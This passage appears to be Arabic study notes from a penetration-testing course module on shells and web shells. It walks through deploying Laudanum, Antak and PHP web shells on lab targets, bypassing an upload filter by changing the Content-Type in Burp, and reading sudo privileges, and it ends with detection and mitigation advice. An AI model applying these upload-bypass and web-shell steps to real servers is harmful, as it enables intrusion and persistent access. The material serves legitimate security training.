وشوف صلاحيات sudo:

Sudo -l

أمر ونتيجته
sudo -l
Matching Defaults entries for apache on ILF-WebSrv:
 env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin
User apache may run the following commands on ILF-WebSrv:
 (ALL : ALL) NOPASSWD: ALL

sudo -l محتاج شل تفاعلي مستقر عشان يشتغل صح.

الخلاصة

مفيش لغة واحدة: bash، perl، ruby، lua، awk، find، vim كلهم بيفتحوا شل. دور على اللي موجود على النظام، واتأكد من صلاحيات التنفيذ.


13مقدمة في Web Shells

في اختبارات الاختراق الخارجية، أغلب اللي بتشوفه قدامك هو تطبيقات ويب: مواقع، portals، APIs. والويب بقى المجال اللي بيقدم أكبر عدد من الثغرات، ومنها ثغرات رفع الملفات (file upload) والـ RFI/LFI (تضمين ملفات محلية أو بعيدة) اللي بتخليك تحط سكربتك على السيرفر أو تستدعيه وتنفذه.

إيه هو الـ Web Shell؟

الـ web shell شل بيشتغل من المتصفح: بترفع سكربت (PHP، ASPX، JSP) على السيرفر، وبتنفذ أوامر النظام من خلاله وترجع النتيجة في الصفحة. أهميته إنه بيديك وصول للـ OS من غير listener ولا اتصال داخل، لأن الترافيك كله HTTP عادي.

الخلاصة

web shell = shell في صورة صفحة ويب. بيدخل من بورت 80/443، فبيعدي الـ firewalls، وبيتحفظ على السيرفر طول ما الملف موجود.


14Laudanum: Web Shells جاهزة

Laudanum مجموعة ملفات web shell جاهزة لكل اللغات، موجودة في Kali وPwnbox في /usr/share/laudanum.

الشغل مع Laudanum

في المجلد هتلاقي نسخ لكل لغة: aspx، asp، jsp، php وغيرها. القاعدة المهمة: عدل نسخة قبل ما ترفعها، وحدد الـ IP بتاعك في الملف عشان الشل يشتغل معاك.

عرض عملي

Move a Copy for Modification

الأمر
cp /usr/share/laudanum/aspx/shell.aspx /home/tester/demo.aspx

افتح الملف وحدد الـ allowedIps في السطر 59 بالـ IP بتاعك، وبعدها ارفعه.

Laudanum modify
تعديل ملف Laudanum قبل الرفع (صورة الموديول).

قبل التجربة، ضيف الـ domain في ملف /etc/hosts عندك ووجهه لـ IP الهدف (<target ip> status.inlanefreight.local) عشان تقدر تفتح الموقع بالاسم.

الهدف فيه وظيفة upload في آخر الصفحة. لازم تختار نوع الملف الصح (السهم الأحمر في الصورة) عشان الرفع ينجح.

Take Advantage of the Upload Function

Upload
وظيفة الرفع في التطبيق (صورة الموديول).

بعد الرفع الناجح، بتحتاج تعرف مسار الملف (السهم الأصفر في الصورة) وتوصل له من المتصفح:

status.inlanefreight.local//files/demo.aspx

ملاحظة

لاحظ الشرطتين المائلتين // بعد الدومين؛ التطبيق بيعرض المسار بصيغة Windows (\\files\demo.aspx) فبتتحول لـ URL.

Navigate to Our Shell

Navigate
الوصول للـ web shell من المتصفح (صورة الموديول).

Shell Success

Shell success
تنفيذ الأوامر من الشل (صورة الموديول).

كده عندك شل بيشتغل من المتصفح، بتكتب الأمر وتشوف الـ output في الصفحة.


15Antak Webshell

ASPX وملاحظة سريعة

قبل ما ندخل في ASPX، شوف الفيديو ده كمثال على الفكرة: الملف بيترفع عبر HTTP وبعدها بتوصل له من المتصفح.

ASPX demo
مثال على رفع ملف ASPX وتشغيله (صورة الموديول).
محتوى
How does aspx work?

شرح ASPX

ASPX (Active Server Page Extended) امتداد ملفات بيتنفذ على السيرفر بـ ASP.NET، يعني الكود بيشتغل على السيرفر والنتيجة بترجع HTML للمتصفح. عشان كده أي ملف aspx ترفعه بيشتغل كود.

Antak

Antak web shell مكتوب بـ ASP.NET وجزء من Nishang. بيشتغل زي PowerShell console في المتصفح، فبتقدر تنفذ أوامر PowerShell على السيرفر.

الشغل مع Antak

أمر ونتيجته
ls /usr/share/nishang/Antak-WebShell
antak.aspx Readme.md

عرض عملي

Move a Copy for Modification

محتوى
[!bash!][/usr/share/nishang/Antak-WebShell]$ cp /usr/share/nishang/Antak-
WebShell/antak.aspx /home/administrator/Upload.aspx

حدد username وpassword للدخول للـ web shell قبل الرفع.

Antak modify
تعديل بيانات الدخول في Antak (صورة الموديول).

Shell Success

Antak upload
رفع الملف على السيرفر (صورة الموديول).

لما تفتح الملف من المتصفح هيطلب منك بيانات الدخول اللي حطيتها:

Antak login
تسجيل الدخول للـ web shell (صورة الموديول).

Issuing Commands

بعد الدخول بتستخدم أوامر PowerShell للتنقل في النظام وتنفيذ اللي محتاجه:

Antak commands
تنفيذ أوامر PowerShell من Antak (صورة الموديول).

16PHP Web Shells

PHP لغة سكربت مفتوحة المصدر شغالة على السيرفر، وأغلب تطبيقات الويب والـ CMS مبنية بيها (حوالي 78.6% من المواقع اللي بيستخدمها W3Techs بتعرف PHP). مثال عملي: صفحة تسجيل مستخدم فيها رفع صورة، ولو الرفع مش متأمن تقدر ترفع ملف PHP بدل الصورة.

PHP upload
نموذج رفع ملف في تطبيق PHP (صورة الموديول).

فاكر سيرفر rConfig؟ ده تطبيق PHP، وثغرته كانت رفع ملف مصادق عليه (authenticated file upload).

عملي: web shell بـ PHP

بما إن PHP بتنفذ الكود على السيرفر، أي ملف PHP بترفعه بيشتغل. هنستخدم WhiteWinterWolf PHP Web Shell.

rConfig vendors
تبويب Vendors في rConfig (صورة الموديول).

الرفع المباشر هيفشل لأن rConfig بيفلتر نوع الملف. الحل: Burp Suite ونغير الـ content-type. ظبط الـ proxy على 127.0.0.1:8080 في إعدادات الشبكة في المتصفح.

Proxy Settings

Burp proxy
إعدادات الـ proxy في المتصفح (صورة الموديول).

تخطي فلتر نوع الملف

Post Request

Burp request
طلب الرفع في Burp (صورة الموديول).

في الطلب غير الـ Content-Type من application/x-php لقيمة مقبولة زي image/gif أو image/jpeg، وخلي اسم الملف .php. اضغط Forward مرتين والملف هيترفع.

Vendor Added

Vendor added
رسالة نجاح إضافة الـ vendor (صورة الموديول).

رسالة Added new vendor NetVen to Database معناها الرفع نجح. المسار:

محتوى
/images/vendor/connect.php

Webshell Success

PHP shell
تنفيذ الأوامر من web shell بـ PHP (صورة الموديول).
ملاحظة

الشل اللي بالطريقة دي غير تفاعلي (non-interactive): كل أمر طلب HTTP لوحده، فمفيش TTY ولا أوامر تفاعلية.

اعتبارات مع الـ Web Shells


17المهمة الحقيقية (Live Engagement)

السيناريو

فريق CAT5 عمل foothold في شبكة Inlanefreight. مطلوب منك تستخدم الـ foothold وتنفذ المطلوب منه. الأهداف:

بيانات الدخول

XFreeRDP Login

الأمر
xfreerdp /v:<target IP> /u:htb-student /p:HTB_@cademy_stdnt!
xfreerdp
تسجيل الدخول بـ xfreerdp (صورة الموديول).

Target Hosts

Target hosts
أجهزة الهدف 1-3 (صورة الموديول).

الأجهزة 1-3 هي أهداف التحدي، وكلها على شبكة 172.16.0.0/23، فخد بالك من الـ routing. من بيانات الـ lab: تطبيق على بورت 8080 ببيانات admin:admin123، وموقع blog.inlanefreight.local.

تلميحات

ملاحظة

سيب دقيقة أو دقيقتين للأجهزة في بيئة التقييم لحد ما تقوم.


18الاكتشاف والوقاية (Detection & Prevention)

المراقبة (Monitoring)

لو عايز تكتشف شلات وpayloads شغالة، محتاج تعرف سلوك المهاجم. الإطار المرجعي هو MITRE ATT&CK: قاعدة معرفة متاحة للجميع لتكتيكات وتقنيات الخصوم، مبنية على ملاحظات من الواقع.

محتوى
globally-accessible knowledge base of adversary tactics and techniques based
MITRE ATT&CK
إطار MITRE ATT&CK (صورة الموديول).

من الإطار، أهم تلات تكتيكات في سياق الموديول:

التكتيك / التقنيةالوصف
Initial Accessمحاولة الدخول الأول عن طريق اختراق جهاز أو خدمة مكشوفة (تطبيق ويب، خدمة misconfigured زي SMB أو بروتوكولات authentication، أو ثغرة في جهاز مكشوف). غالبا بيحصل على bastion host ويدي foothold في الشبكة، لكن مش وصول كامل.
Executionكود بيتم حقنه وتشغيله على جهاز الضحية. الموديول ده بيركز على التكتيك ده: payloads، طرق توصيل، وحلول shell scripting. من تنفيذ أوامر في المتصفح على تطبيق ويب، لـ PowerShell one-liner عبر PsExec، لاستغلال ثغرة معروفة أو zero-day مع إطار زي Metasploit، لرفع ملف واستدعائه عن بعد لاستقبال callback.
Command & Controlالـ C2 هو ذروة الشغل: تدخل الجهاز وتعمل وسيلة وصول مستمر وتفاعلي، وتستخدمها لتنفيذ أهدافك في شبكة الضحية. الشائع استخدام بورتات وبروتوكولات مسموحة: HTTP/S، DNS، NTP، وحتى تطبيقات مسموحة زي Slack أو Discord أو MS Teams. مستويات التعقيد بتختلف من Netcat واضح (clear text) لحد بروتوكولات مشفرة وobfuscated مع proxies وredirectors وVPNs.

حاجات لازم تراقبها

توفير رؤية للشبكة

اكتشاف الشلات والـ payloads محتاج فهم دقيق للأنظمة والشبكة. أدوات زي Cisco Meraki وUbiquiti وCheck Point بتوفر مراقبة وNetFlow، لكن الأهم إنك تعرف تقرأ اللي بيطلع منها.

لو الـ payload اتنفذ بنجاح، مش بالضرورة هيبان في الـ logs العادية، لكن الترافيك هيبان.

Suspicious Traffic.. In Clear Text

NetFlow
NetFlow بين جهازين بشكل متكرر (صورة الموديول).

Following the Traffic

Traffic detail
نفس الترافيك بعد التوسيع: أوامر net لإنشاء مستخدم جديد (صورة الموديول).

ده مثال ممتاز على تنفيذ أوامر واضح (clear text) ممكن يتكشف بسهولة لو الشبكة مشفرة أو الـ NetFlow متظبط. وده بيوصلنا لموضوع حماية الأجهزة الطرفية والـ antivirus.

حماية الأجهزة الطرفية

الأجهزة الطرفية هي اللي على آخر الشبكة:

الأجهزة دي أولوية في الحماية، خصوصا اللي عليها بيانات حساسة. على Windows، Windows Defender (Windows Security) هو خط الدفاع الأول ضد الـ payloads المعروفة.

تخفيفات محتملة (Mitigations)

الخلاصة النهائية

الخلاصة

الدفاع متماشي مع الهجوم: reverse shell محتاج اتصال خارج، web shell محتاج ملف مرفوع، payload محتاج تنفيذ. كل خطوة في السلسلة دي ليها نقطة مراقبة: سجلات رفع الملفات، NetFlow، مراقبة العمليات، وأقل صلاحيات ممكنة. والحمايات دي مش نهاية المطاف، المهاجم بيكملها ويعديها، فالتحديث والمراقبة المستمرة جزء من الشغل.


--الخلاصة العامة للموديول

  1. الشل = وصول. الـ payload = الكود اللي بيوصلك للوصول ده. الموديول كله بيلف حول الاتنين: إزاي تعملهم، وإزاي توصلهم للهدف، وإزاي تفضل مخفي.

  2. قبل أي shell، اسأل: إيه الـ interpreter الموجود على الهدف؟ (Bash؟ cmd؟ PowerShell؟) الإجابة بتحدد كل الأوامر اللي هتكتبها.

  3. reverse shell = الهدف بيتصل بينا. بنستخدم بورت شائع (443/80) عشان نعدي الـ firewall، والـ AV هيمسك الـ payloads المعروفة، فمحتاج تشفير أو obfuscation أو payload مخصص.

  4. الـ one-liner هو سلسلة خطوات صغيرة: افتح اتصال، اقرأ الأمر، نفذه، رجع النتيجة. فهم السلسلة دي هو اللي يخليك تبني payload بنفسك بدل ما تحفظ أمر.

  5. staged = stager صغير + stage كبير. stageless = ملف واحد. الـ stageless أسهل في التوصيل وأكبر في الحجم؛ الـ staged أخف في البداية بس محتاج اتصال مستقر.

  6. الترتيب اللي بيشتغل: enumerate، افحص بـ auxiliary check، اختار exploit وpayload، اضبط الخيارات، تحقق بـ show options، نفذ، وادخل شل النظام. نفس الترتيب في أي مهمة.

  7. مفيش لغة واحدة: bash، perl، ruby، lua، awk، find، vim كلهم بيفتحوا شل. دور على اللي موجود على النظام، واتأكد من صلاحيات التنفيذ.

  8. web shell = shell في صورة صفحة ويب. بيدخل من بورت 80/443، فبيعدي الـ firewalls، وبيتحفظ على السيرفر طول ما الملف موجود.

  9. الدفاع متماشي مع الهجوم: reverse shell محتاج اتصال خارج، web shell محتاج ملف مرفوع، payload محتاج تنفيذ. كل خطوة في السلسلة دي ليها نقطة مراقبة: سجلات رفع الملفات، NetFlow، مراقبة العمليات، وأقل صلاحيات ممكنة. والحمايات دي مش نهاية المطاف، المهاجم بيكملها ويعديها، فالتحديث والمراقبة المستمرة جزء من الشغل.